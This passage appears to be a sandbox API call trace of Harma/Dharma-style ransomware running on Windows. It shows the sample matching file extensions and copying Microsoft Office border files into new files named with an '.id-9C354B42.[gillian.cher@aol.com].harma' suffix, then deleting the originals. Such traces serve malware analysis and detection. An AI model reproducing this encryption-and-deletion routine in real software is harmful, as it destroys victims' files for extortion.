(lpString1=".bz2", lpString2=".BDR") returned 1 [0168.041] lstrlenW (lpString=".7z") returned 3 [0168.041] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0168.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR") returned 62 [0168.042] lstrlenW (lpString=".dbf") returned 4 [0168.042] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0168.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR") returned 62 [0168.042] lstrlenW (lpString=".1cd") returned 4 [0168.042] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0168.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR") returned 62 [0168.042] lstrlenW (lpString=".jpg") returned 4 [0168.042] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0168.042] lstrcmpiW (lpString1=".BDR", lpString2=".harma") returned -1 [0168.042] lstrlenW (lpString="MSART2.BDR") returned 10 [0168.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart2.bdr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0168.043] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=47188) returned 1 [0168.043] CloseHandle (hObject=0x2e8) returned 1 [0168.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart2.bdr")) returned 0x20 [0168.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart2.bdr.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0168.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart2.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0168.043] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0168.043] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0168.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart2.bdr.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0168.044] GetLastError () returned 0x0 [0168.044] ReadFile (in: hFile=0x2e8, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0xb854, lpOverlapped=0x0) returned 1 [0168.136] WriteFile (in: hFile=0x390, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xb860, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xb860, lpOverlapped=0x0) returned 1 [0168.137] ReadFile (in: hFile=0x2e8, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0168.137] WriteFile (in: hFile=0x390, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0168.138] SetEndOfFile (hFile=0x390) returned 1 [0168.138] CloseHandle (hObject=0x390) returned 1 [0168.138] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0168.138] SetEndOfFile (hFile=0x2e8) returned 1 [0168.141] CloseHandle (hObject=0x2e8) returned 1 [0168.141] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0168.141] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart2.bdr")) returned 1 [0168.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR") returned 61 [0168.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR") returned 61 [0168.142] lstrlenW (lpString=".doc") returned 4 [0168.142] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0168.142] lstrlenW (lpString=".docx") returned 5 [0168.142] lstrcmpiW (lpString1=".docx", lpString2="2.BDR") returned -1 [0168.142] lstrlenW (lpString=".pdf") returned 4 [0168.142] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0168.143] lstrlenW (lpString=".xls") returned 4 [0168.143] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0168.143] lstrlenW (lpString=".xlsx") returned 5 [0168.143] lstrcmpiW (lpString1=".xlsx", lpString2="2.BDR") returned -1 [0168.143] lstrlenW (lpString=".ppt") returned 4 [0168.143] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0168.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR") returned 61 [0168.143] lstrlenW (lpString=".zip") returned 4 [0168.143] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0168.143] lstrlenW (lpString=".rar") returned 4 [0168.143] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0168.143] lstrlenW (lpString=".bz2") returned 4 [0168.143] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0168.143] lstrlenW (lpString=".7z") returned 3 [0168.143] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0168.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR") returned 61 [0168.143] lstrlenW (lpString=".dbf") returned 4 [0168.143] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0168.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR") returned 61 [0168.143] lstrlenW (lpString=".1cd") returned 4 [0168.143] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0168.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR") returned 61 [0168.143] lstrlenW (lpString=".jpg") returned 4 [0168.143] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0168.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR") returned 61 [0168.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR") returned 61 [0168.143] lstrlenW (lpString=".doc") returned 4 [0168.143] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0168.143] lstrlenW (lpString=".docx") returned 5 [0168.144] lstrcmpiW (lpString1=".docx", lpString2="2.BDR") returned -1 [0168.144] lstrlenW (lpString=".pdf") returned 4 [0168.144] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0168.144] lstrlenW (lpString=".xls") returned 4 [0168.144] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0168.144] lstrlenW (lpString=".xlsx") returned 5 [0168.144] lstrcmpiW (lpString1=".xlsx", lpString2="2.BDR") returned -1 [0168.144] lstrlenW (lpString=".ppt") returned 4 [0168.144] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0168.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR") returned 61 [0168.144] lstrlenW (lpString=".zip") returned 4 [0168.144] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0168.144] lstrlenW (lpString=".rar") returned 4 [0168.144] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0168.144] lstrlenW (lpString=".bz2") returned 4 [0168.144] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0168.144] lstrlenW (lpString=".7z") returned 3 [0168.144] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0168.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR") returned 61 [0168.144] lstrlenW (lpString=".dbf") returned 4 [0168.144] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0168.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR") returned 61 [0168.144] lstrlenW (lpString=".1cd") returned 4 [0168.144] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0168.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR") returned 61 [0168.144] lstrlenW (lpString=".jpg") returned 4 [0168.144] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0168.145] lstrcmpiW (lpString1=".BDR", lpString2=".harma") returned -1 [0168.145] lstrlenW (lpString="MSART5.BDR") returned 10 [0168.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart5.bdr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0168.146] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=15788) returned 1 [0168.146] CloseHandle (hObject=0x2e8) returned 1 [0168.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart5.bdr")) returned 0x20 [0168.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart5.bdr.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0168.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart5.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0168.146] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0168.146] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0168.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart5.bdr.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0168.147] GetLastError () returned 0x0 [0168.147] ReadFile (in: hFile=0x2e8, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x3dac, lpOverlapped=0x0) returned 1 [0168.219] WriteFile (in: hFile=0x390, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x3db0, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x3db0, lpOverlapped=0x0) returned 1 [0168.220] ReadFile (in: hFile=0x2e8, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0168.220] WriteFile (in: hFile=0x390, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0168.220] SetEndOfFile (hFile=0x390) returned 1 [0168.220] CloseHandle (hObject=0x390) returned 1 [0168.221] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0168.221] SetEndOfFile (hFile=0x2e8) returned 1 [0168.224] CloseHandle (hObject=0x2e8) returned 1 [0168.224] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0168.300] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart5.bdr")) returned 1 [0168.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR") returned 61 [0168.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR") returned 61 [0168.353] lstrlenW (lpString=".doc") returned 4 [0168.353] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0168.353] lstrlenW (lpString=".docx") returned 5 [0168.353] lstrcmpiW (lpString1=".docx", lpString2="5.BDR") returned -1 [0168.353] lstrlenW (lpString=".pdf") returned 4 [0168.353] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0168.353] lstrlenW (lpString=".xls") returned 4 [0168.354] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0168.354] lstrlenW (lpString=".xlsx") returned 5 [0168.354] lstrcmpiW (lpString1=".xlsx", lpString2="5.BDR") returned -1 [0168.354] lstrlenW (lpString=".ppt") returned 4 [0168.354] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0168.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR") returned 61 [0168.354] lstrlenW (lpString=".zip") returned 4 [0168.354] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0168.354] lstrlenW (lpString=".rar") returned 4 [0168.354] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0168.354] lstrlenW (lpString=".bz2") returned 4 [0168.354] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0168.354] lstrlenW (lpString=".7z") returned 3 [0168.354] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0168.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR") returned 61 [0168.354] lstrlenW (lpString=".dbf") returned 4 [0168.354] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0168.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR") returned 61 [0168.354] lstrlenW (lpString=".1cd") returned 4 [0168.354] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0168.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR") returned 61 [0168.354] lstrlenW (lpString=".jpg") returned 4 [0168.354] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0168.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR") returned 61 [0168.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR") returned 61 [0168.355] lstrlenW (lpString=".doc") returned 4 [0168.355] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0168.355] lstrlenW (lpString=".docx") returned 5 [0168.355] lstrcmpiW (lpString1=".docx", lpString2="5.BDR") returned -1 [0168.355] lstrlenW (lpString=".pdf") returned 4 [0168.355] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0168.355] lstrlenW (lpString=".xls") returned 4 [0168.355] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0168.355] lstrlenW (lpString=".xlsx") returned 5 [0168.355] lstrcmpiW (lpString1=".xlsx", lpString2="5.BDR") returned -1 [0168.355] lstrlenW (lpString=".ppt") returned 4 [0168.355] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0168.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR") returned 61 [0168.355] lstrlenW (lpString=".zip") returned 4 [0168.355] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0168.355] lstrlenW (lpString=".rar") returned 4 [0168.355] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0168.355] lstrlenW (lpString=".bz2") returned 4 [0168.355] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0168.355] lstrlenW (lpString=".7z") returned 3 [0168.355] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0168.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR") returned 61 [0168.355] lstrlenW (lpString=".dbf") returned 4 [0168.355] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0168.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR") returned 61 [0168.355] lstrlenW (lpString=".1cd") returned 4 [0168.355] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0168.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR") returned 61 [0168.355] lstrlenW (lpString=".jpg") returned 4 [0168.356] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0168.356] lstrcmpiW (lpString1=".BDR", lpString2=".harma") returned -1 [0168.356] lstrlenW (lpString="MSART8.BDR") returned 10 [0168.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart8.bdr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0168.357] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=49098) returned 1 [0168.357] CloseHandle (hObject=0x348) returned 1 [0168.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart8.bdr")) returned 0x20 [0168.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart8.bdr.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0168.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart8.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0168.357] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0168.357] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0168.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart8.bdr.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0168.358] GetLastError () returned 0x0 [0168.358] ReadFile (in: hFile=0x348, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0xbfca, lpOverlapped=0x0) returned 1 [0168.422] WriteFile (in: hFile=0x2e8, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xbfd0, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xbfd0, lpOverlapped=0x0) returned 1 [0168.424] ReadFile (in: hFile=0x348, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0168.424] WriteFile (in: hFile=0x2e8, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0168.424] SetEndOfFile (hFile=0x2e8) returned 1 [0168.424] CloseHandle (hObject=0x2e8) returned 1 [0168.424] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0168.424] SetEndOfFile (hFile=0x348) returned 1 [0168.427] CloseHandle (hObject=0x348) returned 1 [0168.427] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0168.428] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart8.bdr")) returned 1 [0168.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR") returned 61 [0168.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR") returned 61 [0168.429] lstrlenW (lpString=".doc") returned 4 [0168.429] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0168.429] lstrlenW (lpString=".docx") returned 5 [0168.429] lstrcmpiW (lpString1=".docx", lpString2="8.BDR") returned -1 [0168.429] lstrlenW (lpString=".pdf") returned 4 [0168.429] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0168.429] lstrlenW (lpString=".xls") returned 4 [0168.429] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0168.429] lstrlenW (lpString=".xlsx") returned 5 [0168.429] lstrcmpiW (lpString1=".xlsx", lpString2="8.BDR") returned -1 [0168.429] lstrlenW (lpString=".ppt") returned 4 [0168.429] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0168.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR") returned 61 [0168.429] lstrlenW (lpString=".zip") returned 4 [0168.429] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0168.429] lstrlenW (lpString=".rar") returned 4 [0168.429] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0168.429] lstrlenW (lpString=".bz2") returned 4 [0168.429] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0168.429] lstrlenW (lpString=".7z") returned 3 [0168.429] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0168.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR") returned 61 [0168.430] lstrlenW (lpString=".dbf") returned 4 [0168.430] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0168.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR") returned 61 [0168.430] lstrlenW (lpString=".1cd") returned 4 [0168.430] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0168.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR") returned 61 [0168.430] lstrlenW (lpString=".jpg") returned 4 [0168.430] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0168.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR") returned 61 [0168.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR") returned 61 [0168.430] lstrlenW (lpString=".doc") returned 4 [0168.430] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0168.430] lstrlenW (lpString=".docx") returned 5 [0168.430] lstrcmpiW (lpString1=".docx", lpString2="8.BDR") returned -1 [0168.430] lstrlenW (lpString=".pdf") returned 4 [0168.430] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0168.430] lstrlenW (lpString=".xls") returned 4 [0168.430] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0168.430] lstrlenW (lpString=".xlsx") returned 5 [0168.430] lstrcmpiW (lpString1=".xlsx", lpString2="8.BDR") returned -1 [0168.430] lstrlenW (lpString=".ppt") returned 4 [0168.430] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0168.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR") returned 61 [0168.431] lstrlenW (lpString=".zip") returned 4 [0168.431] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0168.431] lstrlenW (lpString=".rar") returned 4 [0168.431] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0168.431] lstrlenW (lpString=".bz2") returned 4 [0168.431] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0168.431] lstrlenW (lpString=".7z") returned 3 [0168.431] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0168.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR") returned 61 [0168.431] lstrlenW (lpString=".dbf") returned 4 [0168.431] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0168.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR") returned 61 [0168.431] lstrlenW (lpString=".1cd") returned 4 [0168.431] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0168.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR") returned 61 [0168.431] lstrlenW (lpString=".jpg") returned 4 [0168.431] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0168.431] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0168.431] lstrlenW (lpString="BSTORM.DLL") returned 10 [0168.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\bstorm.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0168.562] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=947072) returned 1 [0168.562] 